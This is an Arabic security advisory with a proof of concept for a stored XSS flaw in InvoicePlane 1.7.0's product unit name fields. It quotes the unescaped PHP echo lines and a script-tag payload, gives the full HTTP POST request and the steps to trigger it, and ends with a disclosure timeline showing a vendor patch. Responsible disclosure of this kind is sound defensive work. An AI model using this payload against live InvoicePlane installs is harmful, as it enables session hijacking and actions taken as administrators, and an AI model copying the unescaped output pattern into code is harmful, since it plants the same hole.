
إثبات مفهوم لثغرة XSS مخزنة في InvoicePlane 1.7.0 عبر حقل اسم وحدة المنتج، بما في ذلك مواقع الكود المعرضة للخطر وخطوات إعادة الإنتاج.
الثغرة: تخزين Cross-Site Scripting (XSS) عبر حقل اسم وحدة المنتج
المنتج: InvoicePlane
الإصدار المتأثر: 1.7.0 (وعلى الأرجح الإصدارات السابقة)
الخطورة: متوسطة
درجة CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: عدم تحييد المدخلات بشكل صحيح أثناء توليد صفحة الويب
اكتشفها: Leonidas Agathos
تاريخ التقرير: 2026-01-31
تقبل حقول unit_name و unit_name_plrl في نموذج وحدة المنتج (/index.php/units/form) أي مدخلات دون تعقيم. يتم تخزين القيم وعرضها بدون ترميز في قائمة عناصر الفاتورة عند عرض أي فاتورة تحتوي على منتج يستخدم الوحدة الخبيثة.
الملفات المعرضة للخطر:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Line 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Line 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
الخطوة 1 — حقن الحمولة في اسم الوحدة
انتقل إلى /index.php/units/form وأرسل ما يلي كاسم الوحدة:
<script>alert("XSS in Product Unit")</script>
الطلب:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

الخطوة 2 — تشغيل XSS
/index.php/products/form/1 أو اعرض أي فاتورة تحتوي على المنتجيتم تشغيل الحمولة عند عرض قائمة العناصر.

يتم تنفيذ الحمولة في متصفح أي مسؤول يعرض فاتورة أو صفحة منتج تتضمن الوحدة الخبيثة. وهذا يتيح اختطاف الجلسة (إذا لم تكن ملفات تعريف الارتباط HttpOnly)، وسرقة رموز CSRF، وتنفيذ إجراءات بهوية الضحية.
| التاريخ | الحدث |
|---|---|
| 2026-01-30 | اكتشاف الثغرة |
| 2026-01-31 | تطوير إثبات المفهوم |
| 2026-01-31 | إخطار البائع |
| 2026-02-04 | إقرار البائع |
| 2026-02-04 | إصدار التصحيح |
| 2026-02-05 | الكشف العام |
تم اكتشاف هذه الثغرة أثناء بحث أمني مستقل. يتم توفير جميع المعلومات strictly لأغراض تعليمية وبحثية ودفاعية لمساعدة البائع والمجتمع الأمني في فهم المشكلة ومعالجتها. أي استخدام خبيث لهذه المعلومات محظور تمامًا.